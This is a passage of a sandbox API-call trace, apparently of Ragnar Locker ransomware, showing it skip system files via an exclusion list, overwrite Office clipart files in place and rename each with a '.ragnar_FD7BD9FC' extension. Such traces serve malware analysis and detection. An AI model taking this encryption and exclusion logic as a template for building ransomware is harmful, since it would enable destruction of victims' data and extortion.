[0089.612] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF") returned=".WMF" [0089.612] lstrcmpiW (lpString1="PE01160_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.612] lstrcmpiW (lpString1="PE01160_.WMF", lpString2="autorun.inf") returned 1 [0089.612] lstrcmpiW (lpString1="PE01160_.WMF", lpString2="boot.ini") returned 1 [0089.612] lstrcmpiW (lpString1="PE01160_.WMF", lpString2="bootfont.bin") returned 1 [0089.612] lstrcmpiW (lpString1="PE01160_.WMF", lpString2="bootsect.bak") returned 1 [0089.612] lstrcmpiW (lpString1="PE01160_.WMF", lpString2="bootmgr") returned 1 [0089.613] lstrcmpiW (lpString1="PE01160_.WMF", lpString2="bootmgr.efi") returned 1 [0089.613] lstrcmpiW (lpString1="PE01160_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.613] lstrcmpiW (lpString1="PE01160_.WMF", lpString2="desktop.ini") returned 1 [0089.613] lstrcmpiW (lpString1="PE01160_.WMF", lpString2="iconcache.db") returned 1 [0089.613] lstrcmpiW (lpString1="PE01160_.WMF", lpString2="ntldr") returned 1 [0089.613] lstrcmpiW (lpString1="PE01160_.WMF", lpString2="ntuser.dat") returned 1 [0089.613] lstrcmpiW (lpString1="PE01160_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.613] lstrcmpiW (lpString1="PE01160_.WMF", lpString2="ntuser.ini") returned 1 [0089.613] lstrcmpiW (lpString1="PE01160_.WMF", lpString2="thumbs.db") returned -1 [0089.613] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.613] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.613] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.613] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.613] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.613] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.613] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf")) returned 0x20 [0089.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.614] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2436) returned 1 [0089.614] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x97b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.614] GetProcessHeap () returned 0x580000 [0089.614] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.614] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.615] VirtualAlloc (lpAddress=0x0, dwSize=0x984, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.615] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.615] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.615] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x984, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x984, lpOverlapped=0x0) returned 1 [0089.616] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.616] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x984, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.616] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x984, lpOverlapped=0x0) returned 1 [0089.616] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x984, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.616] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.616] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.616] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.616] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.616] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.616] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.616] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.617] GetProcessHeap () returned 0x580000 [0089.617] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.617] CloseHandle (hObject=0xf4) returned 1 [0089.617] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF" [0089.617] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF.ragnar_FD7BD9FC" [0089.617] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.617] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5efa1c00, ftCreationTime.dwHighDateTime=0x1bf1118, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5efa1c00, ftLastWriteTime.dwHighDateTime=0x1bf1118, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE01172_.WMF", cAlternateFileName="")) returned 1 [0089.617] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.618] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE01172_.WMF" | out: lpString1="PE01172_.WMF") returned="PE01172_.WMF" [0089.618] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF") returned=".WMF" [0089.618] lstrcmpiW (lpString1="PE01172_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.618] lstrcmpiW (lpString1="PE01172_.WMF", lpString2="autorun.inf") returned 1 [0089.618] lstrcmpiW (lpString1="PE01172_.WMF", lpString2="boot.ini") returned 1 [0089.618] lstrcmpiW (lpString1="PE01172_.WMF", lpString2="bootfont.bin") returned 1 [0089.618] lstrcmpiW (lpString1="PE01172_.WMF", lpString2="bootsect.bak") returned 1 [0089.618] lstrcmpiW (lpString1="PE01172_.WMF", lpString2="bootmgr") returned 1 [0089.618] lstrcmpiW (lpString1="PE01172_.WMF", lpString2="bootmgr.efi") returned 1 [0089.618] lstrcmpiW (lpString1="PE01172_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.618] lstrcmpiW (lpString1="PE01172_.WMF", lpString2="desktop.ini") returned 1 [0089.618] lstrcmpiW (lpString1="PE01172_.WMF", lpString2="iconcache.db") returned 1 [0089.618] lstrcmpiW (lpString1="PE01172_.WMF", lpString2="ntldr") returned 1 [0089.618] lstrcmpiW (lpString1="PE01172_.WMF", lpString2="ntuser.dat") returned 1 [0089.618] lstrcmpiW (lpString1="PE01172_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.618] lstrcmpiW (lpString1="PE01172_.WMF", lpString2="ntuser.ini") returned 1 [0089.618] lstrcmpiW (lpString1="PE01172_.WMF", lpString2="thumbs.db") returned -1 [0089.618] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.618] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.618] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.618] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.618] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.618] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.618] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf")) returned 0x20 [0089.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.619] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1436) returned 1 [0089.619] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x593, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.619] GetProcessHeap () returned 0x580000 [0089.619] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.619] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.620] VirtualAlloc (lpAddress=0x0, dwSize=0x59c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.620] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.621] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.621] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x59c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x59c, lpOverlapped=0x0) returned 1 [0089.621] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.621] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x59c, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.621] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x59c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x59c, lpOverlapped=0x0) returned 1 [0089.621] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x59c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.621] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.621] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x59c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.621] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.621] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.621] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.621] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.621] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.621] GetProcessHeap () returned 0x580000 [0089.622] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.622] CloseHandle (hObject=0xf4) returned 1 [0089.622] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF" [0089.622] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF.ragnar_FD7BD9FC" [0089.622] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.622] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb58e6600, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb58e6600, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x3f9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE01191_.WMF", cAlternateFileName="")) returned 1 [0089.622] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.622] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE01191_.WMF" | out: lpString1="PE01191_.WMF") returned="PE01191_.WMF" [0089.622] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF") returned=".WMF" [0089.622] lstrcmpiW (lpString1="PE01191_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.622] lstrcmpiW (lpString1="PE01191_.WMF", lpString2="autorun.inf") returned 1 [0089.623] lstrcmpiW (lpString1="PE01191_.WMF", lpString2="boot.ini") returned 1 [0089.623] lstrcmpiW (lpString1="PE01191_.WMF", lpString2="bootfont.bin") returned 1 [0089.623] lstrcmpiW (lpString1="PE01191_.WMF", lpString2="bootsect.bak") returned 1 [0089.623] lstrcmpiW (lpString1="PE01191_.WMF", lpString2="bootmgr") returned 1 [0089.623] lstrcmpiW (lpString1="PE01191_.WMF", lpString2="bootmgr.efi") returned 1 [0089.623] lstrcmpiW (lpString1="PE01191_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.623] lstrcmpiW (lpString1="PE01191_.WMF", lpString2="desktop.ini") returned 1 [0089.623] lstrcmpiW (lpString1="PE01191_.WMF", lpString2="iconcache.db") returned 1 [0089.623] lstrcmpiW (lpString1="PE01191_.WMF", lpString2="ntldr") returned 1 [0089.623] lstrcmpiW (lpString1="PE01191_.WMF", lpString2="ntuser.dat") returned 1 [0089.623] lstrcmpiW (lpString1="PE01191_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.623] lstrcmpiW (lpString1="PE01191_.WMF", lpString2="ntuser.ini") returned 1 [0089.623] lstrcmpiW (lpString1="PE01191_.WMF", lpString2="thumbs.db") returned -1 [0089.623] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.623] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.623] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.623] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.623] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.623] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.623] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf")) returned 0x20 [0089.624] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.624] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16284) returned 1 [0089.624] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3f93, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.624] GetProcessHeap () returned 0x580000 [0089.624] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.624] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.626] VirtualAlloc (lpAddress=0x0, dwSize=0x3f9c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.626] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.626] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.626] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3f9c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3f9c, lpOverlapped=0x0) returned 1 [0089.627] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.627] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3f9c, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.627] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3f9c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3f9c, lpOverlapped=0x0) returned 1 [0089.627] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3f9c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.627] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.628] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3f9c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.628] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.628] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.628] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.628] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.628] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.628] GetProcessHeap () returned 0x580000 [0089.628] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.628] CloseHandle (hObject=0xf4) returned 1 [0089.628] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF" [0089.628] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF.ragnar_FD7BD9FC" [0089.628] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.629] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5e9600, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea5e9600, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x1418, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE01661_.WMF", cAlternateFileName="")) returned 1 [0089.629] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.629] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE01661_.WMF" | out: lpString1="PE01661_.WMF") returned="PE01661_.WMF" [0089.629] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF") returned=".WMF" [0089.629] lstrcmpiW (lpString1="PE01661_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.629] lstrcmpiW (lpString1="PE01661_.WMF", lpString2="autorun.inf") returned 1 [0089.629] lstrcmpiW (lpString1="PE01661_.WMF", lpString2="boot.ini") returned 1 [0089.629] lstrcmpiW (lpString1="PE01661_.WMF", lpString2="bootfont.bin") returned 1 [0089.630] lstrcmpiW (lpString1="PE01661_.WMF", lpString2="bootsect.bak") returned 1 [0089.630] lstrcmpiW (lpString1="PE01661_.WMF", lpString2="bootmgr") returned 1 [0089.630] lstrcmpiW (lpString1="PE01661_.WMF", lpString2="bootmgr.efi") returned 1 [0089.630] lstrcmpiW (lpString1="PE01661_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.630] lstrcmpiW 